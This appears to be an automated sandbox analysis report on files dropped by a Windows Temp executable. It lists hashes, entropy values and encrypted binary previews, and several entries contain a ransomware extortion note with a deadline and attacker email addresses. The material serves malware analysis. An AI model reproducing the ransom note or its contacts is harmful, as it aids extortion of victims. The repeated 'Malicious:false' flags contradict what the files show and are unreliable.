                                                                                                                                        Size (bytes):379
                                                                                                                                        Entropy (8bit):7.4253980117199045
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:ix1VqEGqAG3m9ZTFL3YigcNEsaY1n/5UnsZwFQYHxJm+xN301YQBZk+xSn:i74G3mHFL3NdSYk3qYRP0uQMnn
                                                                                                                                        MD5:6C42D1B1861F81C24373C98548E20E53
                                                                                                                                        SHA1:0B4BCF5B73FB047E7BC296A3D1CF7B68F02CA5CC
                                                                                                                                        SHA-256:F35C1EFA82CC1E3234CDEE11DD1BB2E663B7F8D98F303DF02DA607616B839F49
                                                                                                                                        SHA-512:B2F0814F74728D8FBA39A31E7276A7B7EECF3D7D057401618F0B57A34EE93DBC5CD54EEDB3426BAC2A4A70251E33A48726820A152F806DE135D81F9849B197CB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.=..j~....u...V.Q...F.Hj....rZV....?R..P.z.@.g!W......d..WJ..U....>..)x....aA.M|...Z..._.....Y...H..........J.^.{.?W.......8F...t.9..c<6..[...J.xs|......T.h.m...n...m..c.L..d....0...I.UU..-V.........P.`....K...m[=..b.3..,.L..R.C..|=8e..fi\.G....(>..`M...b#.....qz...!..h. v...d,.,x.o.".*....d.....p>*).h3.+......4....'...*....g.$...Otc......p.F....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):379
                                                                                                                                        Entropy (8bit):7.4253980117199045
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:ix1VqEGqAG3m9ZTFL3YigcNEsaY1n/5UnsZwFQYHxJm+xN301YQBZk+xSn:i74G3mHFL3NdSYk3qYRP0uQMnn
                                                                                                                                        MD5:6C42D1B1861F81C24373C98548E20E53
                                                                                                                                        SHA1:0B4BCF5B73FB047E7BC296A3D1CF7B68F02CA5CC
                                                                                                                                        SHA-256:F35C1EFA82CC1E3234CDEE11DD1BB2E663B7F8D98F303DF02DA607616B839F49
                                                                                                                                        SHA-512:B2F0814F74728D8FBA39A31E7276A7B7EECF3D7D057401618F0B57A34EE93DBC5CD54EEDB3426BAC2A4A70251E33A48726820A152F806DE135D81F9849B197CB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.=..j~....u...V.Q...F.Hj....rZV....?R..P.z.@.g!W......d..WJ..U....>..)x....aA.M|...Z..._.....Y...H..........J.^.{.?W.......8F...t.9..c<6..[...J.xs|......T.h.m...n...m..c.L..d....0...I.UU..-V.........P.`....K...m[=..b.3..,.L..R.C..|=8e..fi\.G....(>..`M...b#.....qz...!..h. v...d,.,x.o.".*....d.....p>*).h3.+......4....'...*....g.$...Otc......p.F....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):377
                                                                                                                                        Entropy (8bit):7.374478241407942
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:ole1J8bzMEyvgIBDDu5zcOve196fGlGA5B5xoOk8GXnYTiQDaDokypCZG+xkSn:oLmrBDAcOC6f/A5nN8oXGDokypaWSn
                                                                                                                                        MD5:B9FDBB1145262BE2004FEA4BB8B0049D
                                                                                                                                        SHA1:9E675B5C9CC2215070ED01852E3C65E4742F4F94
                                                                                                                                        SHA-256:6547642D580CE3548B38B28E615DCEE26C77F5457F5B4ECEF72D3876AD08ABC3
                                                                                                                                        SHA-512:288A5393644CBAD5652609E35C8EAEF78C21E5B42AAF90D678A854C1D7EB53DE3E41B220EB136A3C2226092E12A201BC5F4DF9B9515AF88A08B816EB53EB4DD0
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.4.....%.:.+D..%<..D..e.'..Y)XCD.....n.Y.....u....A..... .qZ...E..6............|..k...w$.w.google.com/.....\l...Ek$.".9W.u..E..|K..K....$@.;oO.....F..w.n.;....*..:.mf1tr.^."..8.req+..7Ua.$...F.F...Z.%..:l.G0..Y..^.=.,.5./...b.VZ.D.....Z..(./.R5H..~....R/..D3..]....b..$.w....r..&.#.2R.g`..4...Tt.W..\.dD.V.......X.......I.<t.....F....L.].<.61..j.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):377
                                                                                                                                        Entropy (8bit):7.374478241407942
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:ole1J8bzMEyvgIBDDu5zcOve196fGlGA5B5xoOk8GXnYTiQDaDokypCZG+xkSn:oLmrBDAcOC6f/A5nN8oXGDokypaWSn
                                                                                                                                        MD5:B9FDBB1145262BE2004FEA4BB8B0049D
                                                                                                                                        SHA1:9E675B5C9CC2215070ED01852E3C65E4742F4F94
                                                                                                                                        SHA-256:6547642D580CE3548B38B28E615DCEE26C77F5457F5B4ECEF72D3876AD08ABC3
                                                                                                                                        SHA-512:288A5393644CBAD5652609E35C8EAEF78C21E5B42AAF90D678A854C1D7EB53DE3E41B220EB136A3C2226092E12A201BC5F4DF9B9515AF88A08B816EB53EB4DD0
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.4.....%.:.+D..%<..D..e.'..Y)XCD.....n.Y.....u....A..... .qZ...E..6............|..k...w$.w.google.com/.....\l...Ek$.".9W.u..E..|K..K....$@.;oO.....F..w.n.;....*..:.mf1tr.^."..8.req+..7Ua.$...F.F...Z.%..:l.G0..Y..^.=.,.5./...b.VZ.D.....Z..(./.R5H..~....R/..D3..]....b..$.w....r..&.#.2R.g`..4...Tt.W..\.dD.V.......X.......I.<t.....F....L.].<.61..j.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):375
                                                                                                                                        Entropy (8bit):7.3634750616159685
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:XFLoB2pdwn25JOvU7bsbsgDMdtsil9O0vZvR1kHaHDcYRbKr69kQY5rn:1sYpu2XOs3s48Mdtsct7f0W+n
                                                                                                                                        MD5:36C59BA53DFD2563FF2BB5EE10762369
                                                                                                                                        SHA1:EC584851E9CBF2E56045E2B9777B2EE1B22436D1
                                                                                                                                        SHA-256:FE733CDEAF01B7C994BF9CFB8552D12C6BE250C5F24D6BB14D8C8DA4ACF85C11
                                                                                                                                        SHA-512:12D0D7F1A9C0F4CDCB201511BC552607B931718D0D6F829BCC158785FD36E040A5A9F87B6453F5E5DB443AC6F05DE73B1824FA8F72CB2B5C10B1CB09C6753E78
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:!Vf..N..Kw.F...D.7...|.}.-..1./|.&.....U=.....;.#...O8o.\Y.q.C.F.IZD;.p.wK..R+c..y..G.."._.J.w.live.com/..U..........@'...6.t2Kk.B.A-..>.-..8P....0[.i..|.....S.&M"cm..=..cq...z..U......K..Z..L..e..Q`..D@.%m.>...=.@....nM...@..Q|....Z.R...Q^....^..0..].hl.5.....N.O...Z..q.$.*..W..YeA..M.....9...sK1....&LW.|...V..O....9[.m......3...%...A.......(.{...w.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):375
                                                                                                                                        Entropy (8bit):7.3634750616159685
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:XFLoB2pdwn25JOvU7bsbsgDMdtsil9O0vZvR1kHaHDcYRbKr69kQY5rn:1sYpu2XOs3s48Mdtsct7f0W+n
                                                                                                                                        MD5:36C59BA53DFD2563FF2BB5EE10762369
                                                                                                                                        SHA1:EC584851E9CBF2E56045E2B9777B2EE1B22436D1
                                                                                                                                        SHA-256:FE733CDEAF01B7C994BF9CFB8552D12C6BE250C5F24D6BB14D8C8DA4ACF85C11
                                                                                                                                        SHA-512:12D0D7F1A9C0F4CDCB201511BC552607B931718D0D6F829BCC158785FD36E040A5A9F87B6453F5E5DB443AC6F05DE73B1824FA8F72CB2B5C10B1CB09C6753E78
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:!Vf..N..Kw.F...D.7...|.}.-..1./|.&.....U=.....;.#...O8o.\Y.q.C.F.IZD;.p.wK..R+c..y..G.."._.J.w.live.com/..U..........@'...6.t2Kk.B.A-..>.-..8P....0[.i..|.....S.&M"cm..=..cq...z..U......K..Z..L..e..Q`..D@.%m.>...=.@....nM...@..Q|....Z.R...Q^....^..0..].hl.5.....N.O...Z..q.$.*..W..YeA..M.....9...sK1....&LW.|...V..O....9[.m......3...%...A.......(.{...w.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):378
                                                                                                                                        Entropy (8bit):7.458774121280308
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:AGOs8b9l35U3175vd2RbsZ1MVRIni8YL7Bn5N5KyP/eSEOwn:AGPAU175lTZyuEZAInE3n
                                                                                                                                        MD5:157704203C8CB46E3EA516488B234887
                                                                                                                                        SHA1:701A7A50E651526C8DA52629D9BB4BD5F1C4E5B0
                                                                                                                                        SHA-256:F40DF634A436436A5831205363A595A8161EBC9E0DF8349E45F63FDE811C61AB
                                                                                                                                        SHA-512:73B53D96E76551B0B43734DE9D2BBC029AB457BA7296F8755F533FB93878D391322CD7B3DBFAADD9AFEA3DFEB738E5E881C9B3A1113629821FFE1ED02A741BC7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..#...1.?.KZ.ij-..Z'`.,..|rb..I2..F(N..M....+e.w.....3....%.^.\L.D......}.PC....L..._....D..|.dw.nytimes.com/..h...$!4...K...z..S.,..;.=.v...\<.....a.H.r..K.X>..9.,..j.'..`.\.Z..z......'..am......N....#l..U...4R....&....#|.mDW..b..9.Q...k...?i1Qn. ....._`...=.X....>....*XGbl .>....?.N.......\-m...U..+../F.[{...1..`.Ym.1.TfL.0....uH.......T.V.UqGz|P..4...0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):378
                                                                                                                                        Entropy (8bit):7.458774121280308
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:AGOs8b9l35U3175vd2RbsZ1MVRIni8YL7Bn5N5KyP/eSEOwn:AGPAU175lTZyuEZAInE3n
                                                                                                                                        MD5:157704203C8CB46E3EA516488B234887
                                                                                                                                        SHA1:701A7A50E651526C8DA52629D9BB4BD5F1C4E5B0
                                                                                                                                        SHA-256:F40DF634A436436A5831205363A595A8161EBC9E0DF8349E45F63FDE811C61AB
                                                                                                                                        SHA-512:73B53D96E76551B0B43734DE9D2BBC029AB457BA7296F8755F533FB93878D391322CD7B3DBFAADD9AFEA3DFEB738E5E881C9B3A1113629821FFE1ED02A741BC7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..#...1.?.KZ.ij-..Z'`.,..|rb..I2..F(N..M....+e.w.....3....%.^.\L.D......}.PC....L..._....D..|.dw.nytimes.com/..h...$!4...K...z..S.,..;.=.v...\<.....a.H.r..K.X>..9.,..j.'..`.\.Z..z......'..am......N....#l..U...4R....&....#|.mDW..b..9.Q...k...?i1Qn. ....._`...=.X....>....*XGbl .>....?.N.......\-m...U..+../F.[{...1..`.Ym.1.TfL.0....uH.......T.V.UqGz|P..4...0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):377
                                                                                                                                        Entropy (8bit):7.378575612517137
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:TssK8jYLGGoHU/gA5z2gwHbnmED8o2chwyjhijQcM8jrheiLFwK/wmn:/f8LG/04Uz2JDIyHhKC8/heaFZn
                                                                                                                                        MD5:6DE7B95780441D704AF2DE757D91FD94
                                                                                                                                        SHA1:9C3152F621D915DBA0B5D252EA36F0B930E574DA
                                                                                                                                        SHA-256:538CABB293FDE65DB82983DE48A59DD29462AF5519F3DF28F714EFBF29E728A6
                                                                                                                                        SHA-512:D90B26FCB5C5256E0167CABB7305E7A0D94D52386A289A9B31A4D31C2E4EE1DEB08DBB332D5A786351B8D0E84D52B885AB764F62FC0CF27C56F853F09C7CB79F
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...`.......x..'^..h..|.....c.o...S.......w.F.#.M.@.,L......2c....*o2.l..x....I..=.c..4w.reddit.com/.....iR....qj...I..q.....i..............S5...2.q..,.6..7..~vfx....<..R.....F.B...W.l.DfXH|..1..C.<.8 ,S..A...3.......H...:QC/..L.V/JA.W.x(`..i4.i)...@...p.Q......,?.....L...g.y.Dp<.Z.....\......CY.A.lK...'....vp. .o..<..|....d...b..N.q....|.).0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):377
                                                                                                                                        Entropy (8bit):7.378575612517137
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:TssK8jYLGGoHU/gA5z2gwHbnmED8o2chwyjhijQcM8jrheiLFwK/wmn:/f8LG/04Uz2JDIyHhKC8/heaFZn
                                                                                                                                        MD5:6DE7B95780441D704AF2DE757D91FD94
                                                                                                                                        SHA1:9C3152F621D915DBA0B5D252EA36F0B930E574DA
                                                                                                                                        SHA-256:538CABB293FDE65DB82983DE48A59DD29462AF5519F3DF28F714EFBF29E728A6
                                                                                                                                        SHA-512:D90B26FCB5C5256E0167CABB7305E7A0D94D52386A289A9B31A4D31C2E4EE1DEB08DBB332D5A786351B8D0E84D52B885AB764F62FC0CF27C56F853F09C7CB79F
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...`.......x..'^..h..|.....c.o...S.......w.F.#.M.@.,L......2c....*o2.l..x....I..=.c..4w.reddit.com/.....iR....qj...I..q.....i..............S5...2.q..,.6..7..~vfx....<..R.....F.B...W.l.DfXH|..1..C.<.8 ,S..A...3.......H...:QC/..L.V/JA.W.x(`..i4.i)...@...p.Q......,?.....L...g.y.Dp<.Z.....\......CY.A.lK...'....vp. .o..<..|....d...b..N.q....|.).0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):378
                                                                                                                                        Entropy (8bit):7.399172732357076
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:OI1dkD+Mtm9zwq4pbjXGDyB4Uh857jTa6Kskpe8fgSwCIj3+K25WsPfvfACmgn:OD+syh2Gx5nHKsCe8g9CIjOK29vfnTn
                                                                                                                                        MD5:AE5885AD8F5E687648C763D6CFBDAA7C
                                                                                                                                        SHA1:91B680B3B25E0268C4589891284BC33C0B9C48C0
                                                                                                                                        SHA-256:D8BA1ADEE2D16D72ED2D979531F64B503A720EE6A283FC9D9F8DFAB3892FF670
                                                                                                                                        SHA-512:C6EF753E96C8B492A59B23FFFFA7D3A9A12CA4B506FF74E6A13E0AE7FCB211E37D0DC10C8049CC3E6CDBBD8BCADE1E10645734203D3CDAF22A88E4D063E2E2C4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..o........hg?...7.....48..^.w.../.{.Z!....%..3......6.>........v.\..D..-..Nf.S>..a.v.)*.Gw.twitter.com/..87........(G...^..gHgE.....*......;.f..*..Z...g..-"...>bP..S...0..#..CZ.......]..JU...|D.+._(D..k..u\c.1..`0.....C!^..n.{;.|..N...np.......5.(U.`!@.._...y..ER.t...6.4..Y....W.. .R...7....W.E..-.L........|.G.p..tF.^.6../.a.K......`.e.M..9Ch0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):378
                                                                                                                                        Entropy (8bit):7.399172732357076
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:OI1dkD+Mtm9zwq4pbjXGDyB4Uh857jTa6Kskpe8fgSwCIj3+K25WsPfvfACmgn:OD+syh2Gx5nHKsCe8g9CIjOK29vfnTn
                                                                                                                                        MD5:AE5885AD8F5E687648C763D6CFBDAA7C
                                                                                                                                        SHA1:91B680B3B25E0268C4589891284BC33C0B9C48C0
                                                                                                                                        SHA-256:D8BA1ADEE2D16D72ED2D979531F64B503A720EE6A283FC9D9F8DFAB3892FF670
                                                                                                                                        SHA-512:C6EF753E96C8B492A59B23FFFFA7D3A9A12CA4B506FF74E6A13E0AE7FCB211E37D0DC10C8049CC3E6CDBBD8BCADE1E10645734203D3CDAF22A88E4D063E2E2C4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..o........hg?...7.....48..^.w.../.{.Z!....%..3......6.>........v.\..D..-..Nf.S>..a.v.)*.Gw.twitter.com/..87........(G...^..gHgE.....*......;.f..*..Z...g..-"...>bP..S...0..#..CZ.......]..JU...|D.+._(D..k..u\c.1..`0.....C!^..n.{;.|..N...np.......5.(U.`!@.._...y..ER.t...6.4..Y....W.. .R...7....W.E..-.L........|.G.p..tF.^.6../.a.K......`.e.M..9Ch0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):380
                                                                                                                                        Entropy (8bit):7.418036424490329
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:1c1a7+s/BUjJxJtj0Ohwzdjlu8vIDPNEP0pTW80ztx6BdT0FlPN6cncto73jcrZW:1qa7fJ2MO2ZhgWX80zt8WV6cvcrMn
                                                                                                                                        MD5:7FE735ABF2585A81BF662B345C691CF6
                                                                                                                                        SHA1:555B2FE67F2953AA88278710666C6EF8A311AD0C
                                                                                                                                        SHA-256:9BE3CB7CEFB5AFA8543DC81A24CC1841DD416F94E691D0357AC1FD8E9FBC6DDA
                                                                                                                                        SHA-512:15DE7FDB771D677BD4E58D615DB6C42441BEFFD743CF2143ACE0CCF00A5A66BC293292F3469055D09B058F617852B248D733D11FC246C7F3E6EBC9D2AF8E0F12
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..c5.bo.|..{.0c.N,.^...(.-:..K.B..y.......o>."...iXG+.@.....I.h^.9Kj_...;.W...!+......S....N9.|>......9...8).h.d*.@.PF.__9.......\.+i./t.+.Qs=.W.l./G.7>D.........(.7.U...9..zf"u:r2....0.y.R.r._..||....A.y*...%.. o.4....\...1.F.Y.A..................EE.w. 8a......3.....(....1..'.....M_..G....e;.....3Z..$p.WU...)..2....s........M.n.....%.WT...KN...9.l....a0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):380
                                                                                                                                        Entropy (8bit):7.418036424490329
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:1c1a7+s/BUjJxJtj0Ohwzdjlu8vIDPNEP0pTW80ztx6BdT0FlPN6cncto73jcrZW:1qa7fJ2MO2ZhgWX80zt8WV6cvcrMn
                                                                                                                                        MD5:7FE735ABF2585A81BF662B345C691CF6
                                                                                                                                        SHA1:555B2FE67F2953AA88278710666C6EF8A311AD0C
                                                                                                                                        SHA-256:9BE3CB7CEFB5AFA8543DC81A24CC1841DD416F94E691D0357AC1FD8E9FBC6DDA
                                                                                                                                        SHA-512:15DE7FDB771D677BD4E58D615DB6C42441BEFFD743CF2143ACE0CCF00A5A66BC293292F3469055D09B058F617852B248D733D11FC246C7F3E6EBC9D2AF8E0F12
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..c5.bo.|..{.0c.N,.^...(.-:..K.B..y.......o>."...iXG+.@.....I.h^.9Kj_...;.W...!+......S....N9.|>......9...8).h.d*.@.PF.__9.......\.+i./t.+.Qs=.W.l./G.7>D.........(.7.U...9..zf"u:r2....0.y.R.r._..||....A.y*...%.. o.4....\...1.F.Y.A..................EE.w. 8a......3.....(....1..'.....M_..G....e;.....3Z..$p.WU...)..2....s........M.n.....%.WT...KN...9.l....a0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):378
                                                                                                                                        Entropy (8bit):7.359303694411322
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:OnJme83y8pWQqOD9dQW4NG/vl4yewOa2+abbasU1K6BaYTwXZcLrRGJv6vL9UE6N:OR8i8p/D9dQW4NG/t/ewg+MWlBVTaaFc
                                                                                                                                        MD5:FC34AD58EAD46367DEC34C1C83B02C31
                                                                                                                                        SHA1:4BB756E7D6B8AF3249100FAE30C764D6A0D63202
                                                                                                                                        SHA-256:FC84A0E7017CD3A2965C755233719AFC9A4948DF5DF4DE3E0F5D3089C76661BB
                                                                                                                                        SHA-512:D323A3588617DF4463C0D726CAEC503DD51D15EDB25D534B4B94F71D81EA8FE8E67C1DCE6DB2B89782585EFC1B9B479011D05FC17A2441145063310873849A87
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:b..g.MYI-wt...8.S.=).7C..Bl...>i..s.k.8..X..9Q..../..?........!.<M.J.!......F:N.K..q1`3.w.youtube.com/..uR.h8...XY;.>.]......HR..-&D.d.......R..........K....*..^..."...]...).......B;..wKR>..X.-g......\..l.f;1^.+..].b..3...C.............X......u..1.2.c..r.O.h.;......i..5.+.1.U.~}..H.QS......LvN.$...a......h}...9^*z.....X.a@.g.@......R..C&.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):378
                                                                                                                                        Entropy (8bit):7.359303694411322
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:OnJme83y8pWQqOD9dQW4NG/vl4yewOa2+abbasU1K6BaYTwXZcLrRGJv6vL9UE6N:OR8i8p/D9dQW4NG/t/ewg+MWlBVTaaFc
                                                                                                                                        MD5:FC34AD58EAD46367DEC34C1C83B02C31
                                                                                                                                        SHA1:4BB756E7D6B8AF3249100FAE30C764D6A0D63202
                                                                                                                                        SHA-256:FC84A0E7017CD3A2965C755233719AFC9A4948DF5DF4DE3E0F5D3089C76661BB
                                                                                                                                        SHA-512:D323A3588617DF4463C0D726CAEC503DD51D15EDB25D534B4B94F71D81EA8FE8E67C1DCE6DB2B89782585EFC1B9B479011D05FC17A2441145063310873849A87
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:b..g.MYI-wt...8.S.=).7C..Bl...>i..s.k.8..X..9Q..../..?........!.<M.J.!......F:N.K..q1`3.w.youtube.com/..uR.h8...XY;.>.]......HR..-&D.d.......R..........K....*..^..."...]...).......B;..wKR>..X.-g......\..l.f;1^.+..].b..3...C.............X......u..1.2.c..r.O.h.;......i..5.+.1.U.~}..H.QS......LvN.$...a......h}...9^*z.....X.a@.g.@......R..C&.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.156043279435876
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:63smrp+dInjEic5ETqwz3rUVO32qyL+bfYTkSn:68O++Iic5EHz3rAO32qyybgTkSn
                                                                                                                                        MD5:C049AEA33988A4E90135791CF73797F8
                                                                                                                                        SHA1:431CC2E25A91D95AEFE40FE5788699218B0EED5E
                                                                                                                                        SHA-256:BB7BA0B59624C0127130E845306F8F0FE20C4083918B37D286F873E2FA9E74BF
                                                                                                                                        SHA-512:50C24CFB0237DE224656D976B26FC2E37C2A9C130CBE9D914C46B88EC8761BA876845983BCEB5F69AA70B7B8FF98B19B10A6A9BE71D246D577F271385D1E3B38
                                                                                                                                        Malicious:false
